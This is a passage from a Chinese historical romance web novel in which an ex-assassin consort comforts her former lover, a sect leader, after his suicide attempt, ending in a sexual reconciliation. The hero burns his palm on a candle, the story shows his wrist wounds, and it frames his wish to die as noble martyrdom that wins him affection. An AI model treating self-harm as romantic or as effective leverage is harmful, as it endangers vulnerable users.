“那会大得滑稽。”他冷着脸,乐颠颠地拿了自己衣裳出来,又冷着脸披到她肩上。 果然是大得滑稽。 顾怀瑾一言不发地将那碗八宝粥端到她面前,氤氲雾气蒸着她眉眼,他道: “你一向不好好用饭,晚上吃了没有?” 没有。 听说嘉庆帝要召她侍寝,鬼才吃得下。 她捏着勺子,搅着粥,没答话,浅啜了一口。 心里烦乱又不安。 她不大知道该怎样同他相处。是做情人,还是做朋友? 分开是他提的。也是她欠他更多。 不论如何,她没有那个脸,去求他和好。 可是,临死前来信说“九泉之下,遥佑尔安”的,也是他。 可他现在又这样冷漠,一个字也不肯多。 她心神不宁地搅着粥,把大颗的核桃仁翻出来,后知后觉地头痛欲裂。 决裂之后头一回独处,竟然又是鱼水之欢。 到底决裂到哪里去了? 话撂得那么狠,决心下得痛而又痛,两个人都肝肠寸断,可是,就跟玩笑一样,见了面就无人在意。 现在好了,究竟是陌路还是情人? 她烦躁地掐着眉心。 第164章 顾怀瑾不说话。 将那碗粥端到她面前之后,他就站在桌前,望窗外,不说话。 窗外是一片月色茫茫。 夜幕底下的长安街,屋檐彼此衔接,瓦片泛着冷色,密密麻麻,仿佛鱼鳞。 他迷茫又犹豫。 鬼门关前转了一遭,再一相见,觥筹交错的宴会上都想牵手。可是真到了独处时,轰轰烈烈地荒唐过,冷静之后,就又发现,两人之间是一片衰冷的废墟。 隔了那么多的阴谋和欺瞒,归根结底,他不该再见她的。 窃山仇人,他至少应为天山守节。 就因为听说她要侍寝。 他眉头缓缓拧起,头痛欲裂地闭上眼睛。 想她,想见她。可是真把她接来,又不知如何是好,不知如何相处。 南琼霜也是一样迷茫。他们总是这样,矛盾重重,谁都清楚最好相忘于天涯,可是但凡见了面,就一发不可收拾。 欢好之后,一片荒芜,两个人心照不宣地难堪。 她心事重重地搅着粥,房间里唯余一点瓷勺碰着碗的声音。 她不知说什么,良久,先开了口: “……天底下没有不透风的墙。即便是你的人把我送到了紫宸殿,也未必就没有人泄密。何况,殿内无人,殿外也守着人,就算皇上不在殿内,留守的宫人少,也不会没有。你铤而走险做这种事……” 顾怀瑾寒着脸面朝窗外,没接话。 她望着他:“你铤而走险做这种事,就不怕东窗事发,自身不保?” 月色从窗子里潲进来,将他淌着水光的丝绸寝衣斜切出一片淡青。 她继续说: “原本,三方之中,前路最不定的就是你。不提一山二虎之局多凶险,暂且算你最后挑得常李二方同归于尽罢,你依然是屈居人下,为人臣子。嘉庆帝的脾性并不是好相与的,即便做了傀儡皇帝,依旧念着龙椅上那点滋味。这样的人,日后重夺了权柄,会容你功高震主?” 顾怀瑾浑不在意似的。 她被他那种无谓态度惹得有点恼了:“你有没有在听?今日头脑一热,等到出了点意外,你就落得个君臣离心的下场。到时,即便你助嘉庆帝赢了,也闹不了半分好。我身份是假的,容易脱身。但是你……” 顾怀瑾望着天色,手上拿了支蜡烛过来,呓语般道:“时局要变了。你觉得,是常李二方先有动作,还是我们的事先败露?” 他半回过身,凉凉望着她。 脸那么冷,好像乾和殿里牵她手的人不是他似的。 “即便是事态先变了,无人在乎宫闱里的一点事——嘉庆帝若得了什么风雨,你还是死无葬身之地。” 顾怀瑾回过身,又取了根火柴,轻轻一划。 哧的一声。 火光照亮他玉雕般的脸,他漫不经心,嗤声一哂。 南琼霜旋即明白他那一笑。 他不在乎。 他是求死之人。 一点鸡皮疙瘩又毛骨悚然地攀上她尾巴骨。顾怀瑾拢着火苗将蜡烛点燃了,房间内晕开一团橙黄的光,她望着他,寒意满身。 “你是什么意思……”她慌起来,眼睫眨动,“你还想……” 他垂下头收拾桌上的字帖,一张、一张、一张地叠好。 右手手腕,缚着触目惊心的纱布。 她霎时不知道自己是否该留在这了。虽然很想他,也很想他抱着她哄哄她,可是,她在这——又会叫他想起天山之祸吧。 她是他一切痛苦的源头。即便他爱她,她安慰得了他吗?她连安慰他的立场都没有。 他正是因为爱她才痛苦不堪。 她心如刀绞,但沉默地放了碗,掀开了被子,赤脚踩在地上。 不论如何,她打算识趣。 她小心翼翼地站到他面前,垂着眼。 顾怀瑾静静看她。她披着他的寝衣,鸦黑的丝绸一动便潋滟生光,可是穿在她身上,太大了,从双肩蔫蔫地搭落在地上。 在他眼里,就有点委屈巴巴的。 她轻轻说:“我不在这打扰你了,先回去了。” 你看,他就说了,她一翻脸就会走。 “嗯。”他拿出了药瓶解纱布,云淡风轻,“这就要回去了。” 她品出一丝她想听的滋味,但她不敢看他的伤:“嗯。” 顾怀瑾没说什么,只是应:“好。” 两人一时都没再说话,唯余一点秋初的蝉鸣。 她说了走,但没动地方。 顾怀瑾没催,也没问。 良久,到底没等到顾怀瑾留她,她转了身:“给我拿身衣服,我回宫了。” 顾怀瑾悠长又深深,吸了一口气,阖了一双眼睛。 她琢磨出一点希望:“你到底想不想我留?” 他不答。 他从黄泉门口走过一遭,等她好言好语地来哄他。 可是,南琼霜不相信爱,也就不明白自己对他的意义,以为不打扰才是最解语,最体贴。 他终于拿起了那支蜡烛。 燎手掌,面无表情。 火光照得他脸孔英俊而寒凉。 “你做什么!”她猛地一惊,两步上去劈手将那蜡烛夺回来,呼地一声吹灭了,翻着他的手掌看。 泛着血色的莹白的手掌,很快地通红一片,微微肿起来。 “你……!” 一抬头,顾怀瑾只是不咸不淡望着她,置身事外,毫不在意。 南琼霜强闭上眼,忍了许久。 他这个人…… 她早晚要被这个人逼死。 她咬着嘴唇,把所有情绪暂且忍下,四面一看,房间角落一只放了些水的铜盆,她抓着他的手腕,把他的手强按进冷水里。 他不心疼他这具身子。 他折磨他自己,跟折磨她也没区别。 她眼睛红了,望着他静静放在铜盆里的手掌,泪水很快洇湿了眼睫: “你到底想要我怎样……” 顾怀瑾由着她牵,不挣扎,但也不抱她,静静站在她身后。 从前,只要在她身后,他一定抱她。 他羽扇般的长睫低垂,喃喃: “……你很在意?” “我当然很在意!”她骤然一顿足,再一抬头,两只眼睛已经盛满了泪,她红着眼睛声嘶,“你知不知道你在做什么!一次两次……做这种事……又是割自己,又是烧自己,你到底想怎样,你有什么话,就不能好好说吗!” “我没什么话好说。” 他半垂着眼,声音很凉。 她登时搡开他肩膀,恨恨地往他身上一连锤了好几下,他木着脸趔趄了半步也不躲,偏开头,只是望着窗外。 “娘娘不是说要忘了吗,顾某还能有什么话好说。” “那是……”她抖着肩膀,声音碎得不成样子,“那是……” 他抬起眼:“是什么?”重复了一遍,望向窗外,“‘说忘就忘,轻而易举。’娘娘真是洒脱。” “你不要说这种话。”她心虚,低下头,也不知还该不该、能不能再抱他,踟蹰半晌,小心翼翼地去拉他袖子:“是说好了要断掉,我才跟摄政王说这种话的。” “那你就忘掉啊。”他没一点表情,不看她。 “我忘掉了啊。” 他倏地转过头来盯她。 她终于发觉他最不爱听她讲这种话,吞咽了一下,补上,“……可是发现忘不掉。” 顾怀瑾得了这一句话,又偏开头。 不爱听她说“忘了”,果然他还是放不下吧。 她小心翼翼地试:“乖乖。” 顾怀瑾睫毛抖了一瞬。 那一瞬的颤动,拂在她心上,痒痒的。 她见有戏,连着声唤,“乖乖,乖乖,乖乖。” 顾怀瑾犹自绷着脸,强装不为所动。 这时候知道来哄他了。他不死一次,她绝不肯哄他。 “你别生气,乖乖。”她将他的手掌从水里拿出来,冰凉的手指握着他手腕,“你别伤害你自己,你说什么我都听。” 他听着有趣,笑了一声,“娘娘给了顾某好大的面子。” 她任他冷嘲,也不恼,只是道,“有没有治烧伤的药?我什么也没带。” 顾怀瑾望着她,没说话。 她捧着他的手,近在咫尺,同他对望。 眼睛很漂亮,眼睛里有他。唇就更漂亮,唇珠很好吮,呼吸里带点桃花酿的香。 娘娘。 他很想接吻。 吞咽了一下,他垂下眼。 “有。” 他懒懒地由着她给自己上药,眉目里一片不关心。 她知不知道他很想接吻?这么久没亲过,不要他都在鬼门关前兜了一圈,还要他强迫。 她毫不知情,也没心思,一点一点在他渐渐肿起的手掌上洒了药,一面道,“那只手的伤给我看看。” 他满脑子都是接吻,轻轻地:“嗯?” “另一只手。” 他心不在焉地由着她捉了自己的另一只手,纱布已经解开了一半——方才,她又说要走,他没办法,故意要她看见,遂解开了一半。 她小心翼翼地一圈圈将纱布解开。 一打开,两道裂谷般的长痕。 已经结了痂,中间深深陷进去,仿佛被利刃砍过了似的。 这哪里是割。 她终于扑簌簌落下泪来。 从顾怀瑾的角度,只看得到她的下睫毛被滚下的眼泪压弯了,眼泪淌过她唇边。 她心疼他,他没办法地想接吻。 但他抿紧了唇。 要她主动来亲。 南琼霜根本不知道他的心思,看着他的伤,整个人都有点发晕,又晓得是她逼他走上这一步的,背叛他的是她,要断掉的也是她,她连哭都不知道有没有资格哭,强含着眼泪冷静。 她说:“我帮你上药……” 顾怀瑾把药瓶递给她。 不抱她,也不说话。 她落着泪,拧开了药瓶的小盖子,人都有点发抖,颤颤巍巍的。再低头一看,那伤口狰狞又惨烈,见惯了血的人,竟不论如何也受不了,一搭眼睛,视野就被泪水蒙得湿透,还能上得了什么药。 她把药瓶慌乱一放,捂着脸哭了。 他比她当年还下得去手。 能不能来抱她。他来抱,她才敢安慰。 本来理亏的就是她,假如他不来抱,她根本没脸去抱。 顾怀瑾只是倚着桌子,闲闲地拿起了药瓶: “哭什么,多大的事……” 她都哭成这样,他是铁了心不肯管了? 她灵机一动,捂着脸道,“摄政王……” 身前人语声登时一顿。 “……摄政王怎么。” 她捂着脸自顾自哭着。 “摄政王怎么。” 他又问了一遍,手按上她后腰,把人拢到身前。 “摄政王对我说……” 说到这,有意不说了。 “摄政王到底说什么。” 他终于把她搂到怀里,贴到胸口,垂首望她。 他神色是冷峻的薄怒和强装出来的冷静。 果然。一提到摄政王这三个字,他就拿她没办法。 “摄政王说……不准我出宫,我一直没能来看你。”她落着泪依偎到他怀里去,眼泪把他胸口晕得温热一片: “我一直想来看你,但没办法。刚开始被摄政王收了出宫令牌,还不准我知道外头发生了什么,就一味要我回菡萏宫,连皇上头风犯了都不准我管。我总觉得有事,瞒着摄政王去看了皇上,才知道你出了事。” “没等我想出个法子来,他就忽然下令把我关进菡萏宫,不准出门,整个菡萏宫都被金戈侍卫把守着。我这时候收到了你的信……” 顾怀瑾垂首望着她发顶,她呼吸和眼泪全扑在他胸口,搂得他能动也不想动。 他不知不觉搂着她肩膀,下巴搁在她头上。 “我这时候收到你的信,哭得差点死掉。但我身边都是人……”她哽咽,“两个侍女也在盯我,金戈侍卫也在外面偷听,雾刀听说你出了事,也回来找我。我一边哭一边演戏……” “好了,乖乖。”他终于在她耳边哄。 “……我跟各种人演。后来,没办法,我在宫里面大吵大闹,金戈侍卫去给摄政王报了信,他才过来同我聊聊。可是他……” “他动你了?”他忽然捧起她的脸。 “没有。”她的眼泪顺着流到他手掌里,哭得他心里发颤,“可是他不放我。他那个脾气,谁都知道,认准了就做到绝,谁怎么样也不顾。我跟他大吵了一架……” “你跟他吵架了?”他噙着点笑,“因为我?” 她抽噎着点头,又把头埋到他怀里,“吵得很厉害,我把他骂了。” 他心里痛快,笑个不停。 “吵完……他就把我关进静思轩了,关了好久,让我跟那个疯子住在一起。”她揪着他衣襟,“我不是不来看你,我是没办法。一直被软禁,我武功又不好,云瞒月有事不在,也不敢跟雾刀多说。我一直很想见你……” “你一直很想见我?”他认认真真、郑重其事地望进她眼睛里。 “我一直很想见你。”她含着泪,把胳膊从他腋下拿下来,踮着脚环着他脖子抱他,“我听说你出事,就一直很想见你。不是不想来,”她越说越泫然,“你不要怪我。” “我没有怪你,我哪里怪你。”他搂着她,额头埋进她颈窝里去,“我何时怪过你,我怎么会怪你。” “可是你刚才都不怎么说话……”她搂着他脖子,蹭着头,耳鬓厮磨。 不说话是因为,说好了要决裂,无所适从。 他垂下头,两人额头相抵,磨蹭眉毛: “想我了吗。” “想了。” 没有犹豫,脆生生的。 她这样子,谁断得了。 他蹭蹭她额头:“那亲一下。” “不亲。”她就是故意,“你来亲。” “什么。”他忍俊不禁,喃喃,“这也要较劲。” 南琼霜不答,阖了眼等他。 他不明白,靠男女之情行刺惯了的人,不相信爱,也难以相信被爱,每一步都要试探。 顾怀瑾摇摇头,终于俯首下来吻她。 柔软的、温热的唇。 和缓的、春风一般的吻。 温柔地碾磨,缠绵悱恻。她仿佛久经疲劳的人,蹚进了敷着花瓣的温泉水,被珍而重之地包裹着,熏得人飘飘然。 他垂着头越吻越深,含过了她唇瓣,又去含她软软的舌尖,良久,喟叹一般: “乖乖,我好想你。” “我也想你啊。”她捧着他的脸,他亲得有些意乱,半阖着眼痴望着她,她在他脸上仔细打量过一圈,心里发酸,“瘦了。” 他低低道:“你也瘦了。” 她望着他,心疼又不忍,咬了唇。 良久,她忍泪低下头,“我帮你上药。” “算了吧。”他将手藏到背后,“你别看了。晚上不是还没吃饭?先去喝点粥吧。” “你也没吃东西呢。”她兀自在他衣裳上蹭眼泪,顾怀瑾瞧出来了,但也由她,她说,“先吃一点吧。吃点东西,才好睡觉。你不是在信里说……” ——“殚精竭虑,肝肠寸断,夜夜难寐,实难再继。” 她咽下泪。 她都不知道他失眠到这个地步。从前在天山上,他一向睡得安稳的。 他上着药,神色如常,“我没 事,乖乖。” 你没事个屁。 你所谓的没事,就是越早死掉,还越好了。 她不管,拿过他的小药瓶把他强拉到榻上,按着他坐下,端起了碗。 他接过了小药瓶,再一抬眼,已经一勺粥送到了眼睛底下,有点愕然。 他笑:“这是做了给你的。” 她很执拗:“你吃。” 他说:“我没胃口。” 她最怕他没胃口。饭也不吃,觉也不睡,还要不要活了? 她下令:“吃。” 顾怀瑾拿她没办法,嘴唇沾了沾米汤,刻意略过那颗大核桃仁,瞧她的反应。 她真急了,拿着勺子递到他唇上:“你吃嘛!” 他笑起来。 他是尝到了甜头的绑匪,得了便宜就想再多得一点。 把她那张不近人情的冷漠脸孔撬开一点缝,多难啊。 他刚想去衔那颗核桃,又听她道:“你再这样,我肯定天天出来盯你吃饭!” 他于是把那颗核桃仁可怜兮兮地晾在那里。 “盯我吃饭?”他如今知道怎么对付她,故意笑着,“还是算了。” “你快点!”那只勺子又往他唇上抵了三分,她道,“你再不吃,我卸了你下巴硬灌!” 术业有专攻的法子,顾怀瑾登时愣了。 他这才想起来,他这个身量纤纤的心上人,是往生门里训练有素的刺客。 含情脉脉的时刻多难得,他最怕在这时候想起这些事。 可是还是想起来了。 他敛了笑。 南琼霜见他骤然寒了神色,也明白是为何。他们总是如此——彼此吸引,情难自禁,但又势如水火,互相折磨。 她将那勺子收回来,干干地搅着粥,有点难堪。 不应该叫他想起来这些事。 可是,他困在天山之祸里,经年已久,不是办法。 她忽然道:“怀瑾,你有没有想过向前看。” 顾怀瑾没说话。 良久,他笑,“娘娘又要忘了我?” “不是忘了你。”他一说这种话,她便知道他又在心痛,搁下了粥去握他的手,“从前的事,什么都好,多多少少,忘一点。” 两人的手彼此交握,他垂眼看着: “什么意思。” “要么忘掉一点爱,要么忘掉一点仇。” 他眉梢跳了跳,有点错愕,苦笑起来。 “我知道你最重责任。所以也知道,天山的事,你没法轻易放的。所以,我本想逼你,放下我。” “如果放下我,你至少不必挣扎得这么痛苦,一心恨我就好了。” 他才明白:“所以你一直不肯见我是因为……” 她没应。 无视他的痛苦,逼着他断掉,最后还要说一句是为他好,未免太矫情了。——何况,还有一半的原因,是她不想叛。 她缓缓地说:“你知道的,纯粹的爱,或者纯粹的恨,都足够支撑一个人活下去。只有爱恨掺杂,爱而不得,恨又无门,人才会自毁。我不想你死——哪怕你不爱我。所以我硬下心来,你从雾刀那里听到什么,我都承认。” “但是,我没想到,你竟然就这样去寻死。” 为什么在决裂之后下定了决心?是见到她的真面目,深感爱错了人而心死,还是爱而不得而心死,还是爱而不得又深感不该爱而寻死? 顾怀瑾疲乏地阖了眼,不说话。 “为什么去寻死?怀瑾,爱和仇,任意一边松松手,人都可以活得下去。我那时,为什么对摄政王说,‘说忘就忘,轻而易举’,因为过去的事,没意义。就算比天还大,过去就是过去了,没意义。昨天的事,就算把自己折磨死了,也不会有任何改变,既然改变不了,又何苦去想它。” “我一向是最看得开的。我以为人人都能看得开,所以才用这种法子逼你。没想到越逼你,你越想不开。可是怀瑾,你何苦如此。无法改变的事,你何苦抓在手里。” “即便过去一切,是你的错,是你的责任,你也能轻易放下吗?” 他轻轻地、冷冷地问。 “能。”她含着泪,又是她那种如冰似雪的决绝,“明天比过去重要。” “即便有人因你而死,即便都是无辜的人因你而死,即便无辜的人提醒过你,说你大错特错,你却一意孤行,最后害得无辜之人殒命,自己捡了条命吗?” “能。”她红着眼,“过去就是过去,明天就是明天。” 顾怀瑾望着她,带一点寒凉,轻哂,“霜儿,那不叫‘明天’,那是‘苟活’。” 他轻轻地、悲而悯地摇头: “我不是选‘过去’。” “我是‘殉道’。” 南琼霜终于明白,她劝不了。 他们一个重公,一个重私。一个求生,一个取义。 命如蜉蝣的刺客,和执掌全山的掌门。他们内核迥异,根本是两种人。 “所以,”他爱怜地、珍惜地抚着她的长发,“你凡事都放得快。” 她捂着脸,已经泣不成声。 “真好。”他喃喃,“真羡慕你。我一直……就想洒脱些。” 他将哭得一塌糊涂的人慢慢搂进怀里,良久,什么也没说,下巴搁在她发顶。 胸前被她哭得一派潮湿。 南琼霜依偎在他怀里,虽然由他抱着,但一种不祥的预感,冥冥在她心头盘旋。 ——她还是留不住他。 第165章 他想死,不是因为软弱,不是因为纠结,不是因为死心眼。 是因为,他有他的道。 南琼霜的泪全都浸在他鸦黑的丝绸寝衣上。 天山已倒,他一心向死,怎么办。 “乖乖。”他忽然握住了她的手,一面摩挲,一面吻她的发顶: “别哭了,我并不怪你。” 她眼泪登时更汹涌。 他还不如怪她。 “为什么不怪我,为什么说原谅。”她衔着唇瓣发抖,“你说过很多次,我不明白。” 他说:“我说过了,不是你的错。” “当年,天山被往生门盯上,早晚也有此一劫。不是你,也是别人。” “我倒情愿是你。” 他一笑:“至少,你爱我。” 她一字一字哽咽着往外吐,仿佛将死之人吐血沫: “但是,玉牌是我拿的。” 他手指绕着她的长发,语气很轻,仿佛微风拂过软柳条: “那是你的职责。奉命办事,别无他选,无关对错。” “守护玉牌,原本就是我的责任,不是你的。” “你做你的分内之事,我做我的分内之事。我没做好,怨不得别人。” 他牵起她一缕发,垂眸吻着: “何况,一直没发现你身边有人跟着,是我无能。你有诸多为难,在我眼皮子底下,我一直不察,是我大意。倘若我早发现那只苍蝇,也不会到这一步。” “你不要这么说……”她泪眼模糊得什么都看不清了,“你不要这么说。匿影术原本就难以发觉……你怎么这样苛求自己。” 顾怀瑾只是寂寞笑了笑。 一山掌门,再苛求也不过分。 没做好的事就是没做好,他不怨旁人,只怪自己。 南琼霜望着他那点清浅笑意,登时就明白,他听不进去。 他太重责任,过度反思,把她完全摘出来,一切都揽到自己身上。 她有千错万错,他也不肯恨她。 她宁愿他恨她,不要恨他自己。 顾怀瑾大拇指一下一下摸着她肩头,哄她像哄孩子: “过去的事,我们不提了。” “你说不提了,是放下了,过去了,还是只原谅我,不原谅你自己?” 她眼底蓄着两汪泪,非常固执。 顾怀瑾不得不感慨她的一针见血。 他偏开眼神,笑得有点无奈,没说话。 南琼霜的泪堆在眼底,颤颤巍 巍: “我问你呢。就算你肯原谅我,也不肯原谅你自己,是不是。” 他俯首下来轻吻她湿润的睫毛: “乖乖,我们不说这件事了。” 她全身都发了病似的打着寒颤,睫毛里蓄着的泪骨碌碌往下滚落,顾怀瑾把她所有眼泪都吻去,却不问她为何而哭。 他一心罪己,一心求死。世上的事,最难敌甘愿二字。 “倘若我把……”她的话断在中间。 倘若把往生门的内情告诉他,他肯向前看吗? 或许,也于事无补。 身负深仇大恨之人,早已死在变故的那一天,余生都是苟延残喘。一旦大仇得报,还是一样的寻死。 天山覆灭,已成定局,既然无法弥补,他只能死在兰阁禁地,再无生路。 她毫无办法地靠在他肩上低泣。 是她把他打碎了。那么爱她的一个人,她亲手把他打碎了。 “不哭了,乖乖。”他把她抱到自己腿上坐着,环着她纤巧的背脊,手掌覆在她腰上摩挲,“我不怪你,什么都不怪你,所以我说原谅。我早就想好了要原谅。只不过,你不肯信。” 原来他说原谅,是拿他自己给她顶了罪。 她毫无办法地靠在他怀里落泪,额头抵在他的锁骨上。太硬了,硌得她额头有点发痛。 他这个人一旦认准,决心就跟骨头一样硬,怎样也不肯转圜,硌得她束手无策。 良久,她终于阖了潮湿的睫毛: “怀瑾,你不要把我想得太无辜了。” 她的眼泪一颗一颗砸在他前襟上,声音已是苍凉而疲乏: “即便你说,我与此事无关,其实,也不过是自欺罢了。” “事已至此,我们直说吧……我并不无辜。倘若你不爱我,你一定不会觉得我无辜。你把我的责任全撇清了,不过是因为你还爱我,你想自欺。” 顾怀瑾筋疲力竭地阖了眼。 她是水晶玻璃人,人心看得一派剔透,像一把冰雪匕首,晶亮,锋利,自己不糊涂,也不肯容人糊涂。 他眼帘认命地一合,痛而又痛,却不放手,来回不停地摩挲她的腰。 她声音抖着: “归根结底,是我骗了你,背叛你,利用你的善心作恶,逼得你成了全山罪人。再怎么说,天山之祸,我脱不开的。即便你非要认为,当年的事,错全都在你自己,可是谁都明白,原因更在我。” 她一只手轻轻抚上他的脸,把眼睛埋进他长发披垂的颈间,那儿狭小却温暖:“……所以,不要全怪你自己。假如你真的无法恨我,也不要只恨你自己。” 她睫毛蹭着他颈侧,大拇指在他下巴上流连摸着: “当年的事,我们是共犯。” 我们是共犯。 很重的话,她说得很轻。 顾怀瑾听得有些愣愣的。他不明白,他一直庇佑保护、不愿让她沾上半点罪孽的人,怎么会红着眼睛含着泪,对他说这些话。 她何必帮他承担? 她明明别无他法。 她一双泪眼,悲戚脆弱又光芒灼灼,眼圈泛粉。 他忽然想起那些年天山上的桃花。 良久,他沉默着,握住了她攀在自己肩上的手。 她轻轻说: “怀瑾,我们一起承担吧。” 他落下泪来。 半晌,脱力地阖了眼,两行泪痕,耳边一阵嗡嗡耳鸣。 她也哭了,嗓音里是浓重的鼻音,湿润的睫毛扫在他颈侧,搔得他心上一阵麻痒,她冷静地哽咽: “当年,朝瑶峰上,你对我说,什么事都同你讲,什么事我们都一同承担。” “我自作聪明,没有听。” “所以,就成了现在这样。” “所以,怀瑾。”她离了他肩头,微微直起身子,望着他悲切脸孔,一颗泪缓缓滑到下巴尖: “听我的话,我们别重蹈覆辙。” 他吞咽了一下,痴痴地听她说话。 她说: “我们……我们是一起的。” 她阖了长睫,浅启了唇,去寻他的唇畔: “是好是坏,是对是错,我们一起承担。” 顾怀瑾毫无还手之力,陷进她的吻里。 “一起承担吧。”一起承担吧。这是什么话? 他从出生起,就被要求承担一切,负责一切。他荫蔽所有人,连句怨言都不敢有。 替人撑伞,自己淋雨。 甚至鲜少有人念他的好。他待人太好,人人只说他无趣。 这许多年,唯一一个发现他也在淋雨,肯帮他撑伞的人。 他不会放的。 窃山仇人,他固然不该吻。 但他是毫无生气的求死之徒,最宜溺水,偏要溺死。 他捧着怀中人的脸,鼻梁相抵,喷着呼吸往下压。含吮一会,搓着她鼻梁换个方向,浑身都似有蚂蚁爬。 她一个人就是一场漩涡,他靠近就无法生还。 半晌,她唇被吸得晶莹红艳,他终于气喘吁吁地放开了她,一只手,却又顺着宽大的寝衣滑进去,兜着她的背脊,将人缓缓平放到榻上,抚着她的脸颊轻轻哄: “……还想要吗?” 原本没有想要的。 可是,她这样。 他才在密室里餍足,此刻又觉得不够了。 她亲得晕了:“……想要什么?” 顾怀瑾的手指揉着她的腰窝。 她哼了两声:“不要了,刚才很累。” “好。”他不强求,喷着炙热的呼吸去啄她颈侧:“那闻闻,亲亲。” 她的气味,也够安抚他。 “别亲脖子。”她扭着身子,“会被人家瞧见的。” 他倏地顿了动作:“不准我亲?” 她去搂他:“下面一点。” 他轻笑一声,打开了那在她身上并不合身的他的寝衣,小动物似的用脸颊亲昵蹭了蹭,才珍而重之地覆下去。 吻太密又太软,方才又筋疲力竭地欢好过,她躺在榻上,渐渐就半阖了眼,迷迷蒙蒙地呢喃: “还有,乖乖,有些事要同你说。” 他在云端,此刻什么都能原谅。 “你说。” “雾刀那些话……并不是假话。我也不想再对你隐瞒什么。椿药,自伤,谎言,利用,都是真的。我们这些人,习惯利用男人。但是因此,用一个男人,对我来说,跟用一把刀也没区别。你会爱上一把刀吗?” 他停了吻,悬在她皮肤之上半寸,静静地听,身和心一样悬而未决。 “我是吻过摄政王。” 这话比初听时更叫他想杀人。 她手腕搁在眼睛上,强逼着自己坦率,“但我不爱他。那只是我们这些人的伎俩。” “我明白。”他强忍许久,终于开口,“如今,我也了解你的性子。你哪里 是会一见钟情之人。第一面就吻了,无非是有用。” “但是,我想问你。”他恨得牙关咯吱响,“同样是要用,你怎么没见面就亲我?” 她听得愣了。给李玄白的那个吻,由她来看,跟玩.弄也没区别。怎么,没玩他,他倒不高兴? “我……”她哑口无言,“我尊重你啊。” 说完自己也笑了。 “你尊重个屁。”他顿时埋首下去嗦一颗小小的核,“又骗我,又捅我。什么坏事都干了,最后说尊重我?” 她嘶了一声,咬着手指,又被自己逗得笑了,“什么嘛,你也不想想你从前那个样子,唐僧一样。刚见面就亲你,还能有好?” 他真是想放也放不过:“他脾气就好了?!你怎么有的胆子亲他?!” 她搂着他的脖子想了一会:“长得好看,人就胆大。” “坏东西。”他骤然下去探开了莲花苞,手指搅着其中淡绿色的莲蓬,真有点火,“整日就知道气我。” 她仿佛人在浮舟上,被磋磨得咿咿呀呀,又笑个不停。 “没有嘛。怎么这么爱生气。”她阖着眼把他搂过来,已经困得哈欠连天,依旧由他造次,蹭着他耳廓绵声吐字,“就是因为不在乎才敢亲啊。搞砸了,扔了就是了。我多在乎你呀。一心都是你,哪里敢乱动。” “一心都是你”。 她这人,如果存心讨好,没有一句话不打在点子上。 他给哄得有点发晕,拼尽全力才想起来,她是个精于此道的女妖,冷笑一声:“你整日就知道哄我。” “不是哄你,是事实。攻心刺客,办差时,说爱也不爱,亲也无心。所以你……” 他更恼了些,勾着花苞深处的花蕊狠拨,她求饶着诶呀了两声,“所以,你都不是我的目标了,我还容你这般,才是真喜欢你。换个旁人……”她哼出一点蚊蚋般的轻响,“……早死了。” “你是真爱我?”他压着她的额头问。 “是啊。”她困得懒洋洋,大拇指在他唇上揉了一瞬:“不然,你也没命活。” “就爱我一个?” “是呀。” 答得很快,很坦然。 他无可奈何,跟着去吻她纤长的颈项——怕留印,轻轻的。 她扭过头,乌发在脸侧团成一朵云,说着累了,结果难以自禁地又享受起来,阖着眼道: “当年,为了办差,我确实用过一些手段。事情是我做的,不论如何,我全部认下。唯有一点,还是希望你知道——那些手段,我自己也不喜欢。” “椿药也好,杀人也好,演戏也好。是我做的,但是我也不喜欢。”她睁开眼,寂寞又有点悲凉,手指顺着他的发,“往生门不容善人,只容死人。从前我没得选。” “不过,赎身之后,这些事我不会做了。” “所以,从前那些事,你说我轻浮也好,狠毒也罢。我都认。可是如果有得选,我并不情愿做这样的人。” “玩弄男人,蛊惑人心,说来好听,其实都是自恋而又无事可做之人喜欢的手段。我是早已厌烦透了。天底下,我最讨厌男人。” 顾怀瑾听得笑起来:“说的什么话。” 她迷迷糊糊地靠在他怀里,“我说真的。你若是女人,就懂我这句话了。” 他笑着变本加厉:“什么意思,乖乖?” 她哎呀一声,又笑起来,“没说你不算男人,烦人呢。” “那你是什么意思。”他去啄她的眉尾,“是讨厌我?” “得了便宜还卖乖。”她故意用鼻子去撞他鼻梁,磕他一下,“凡事怀瑾都例外。” 凡事怀瑾都例外。 他没想到,他寻死一次,就连这种话都求到手了,措手不及,懵懵的。 “我说真的,凡事怀瑾都例外。”她又打了个哈欠,把他的头搂在自己怀里,“所以,好好吃饭,好好睡觉,少想一点,多忘一点。然后,今晚,别闹了,睡觉吧。” 她含含糊糊地说: “我陪你睡。” * 顾怀瑾究竟何时睡着的,她不大知道。 醒来的时候,他还没醒。 知道他如今难以入睡,她虽然想起早回宫,还是没敢动。 顾怀瑾睡觉也要抱着她,这么多年,一直如此。 温热的呼吸,一波一波在她后颈吹着,拂起一点散乱的发。 太久没有依偎在他怀里熟睡,她也舍不得,也依恋,往他怀里窝了窝,又揪着他的袖子闻了闻,又去玩他的手指。 但是,仍是忧心忡忡。 昨晚聊了半夜,哄了半夜,虽然哄得他乖乖睡了觉,她心里还是没底。 抑郁多思、难以自拔之人,她见得多了。或许今天同人聊过,又遇到些好事情,心情会明快些,可是一旦回到他一贯的环境里,就旧态复萌。 一个人若将自己困住了,是没那么容易出来的。 自杀,有一次,就可能有一万次。 说不准,她一走,他就又想起他是罪人,全是他的错,他所爱非人,“公私情理之中挣扎良久”那一套。 她真是头痛,翻了身,正对着熟睡的人。 就算她哄了,他听进去了,又能听进去多久?天山毕竟是倒了。 因为她。 她心如刀割,伸出一根食指,轻轻描他的嘴唇。 顾怀瑾睡得仍安稳。 他睡着的时候一向好看。睫毛顺而柔软地歇下来,仿佛一对纤巧的小羽扇。鼻梁也高,眼窝也深,转折起落无不合度,整个人仿佛一尊精雕细琢过的神像。熟睡的时候,呼吸均匀得叫人心生爱怜,小动物似的。 哪里都好。 只是,白得憔悴,毫无血色。 太脆弱了。 她心事重重,吻了吻他的唇角。 顾怀瑾一激灵就醒了。 醒来,没有半点应有的茫然迟缓之态,整个人全然是被吓醒——那么轻的吻,也能叫他吓一跳。 她愈发心忧。 他睡得太浅,即便惊醒,也不痴钝,见了她却仿佛吓了一跳似的,缓了半刻才明白,抚着她的脸,冷汗涔涔地额头相抵: “……乖乖,你在这。” “嗯。”她搂着他,“睡得好吗?” 他一贯睡不着,已经不知几天几夜睡不着。此时睡了,也不知睡得好不好,做了些什么梦。 可是,眼睛一睁,她竟然在身边。 跟做梦一样。 他没答,深深拥着她,整个人蜷起来,头蹭着她脖子。 这时候,缓缓地想起昨夜。 叫他痛苦不堪的事,一夜之间改变了。他劫后余生之后,来不及庆幸,更加患得患失。 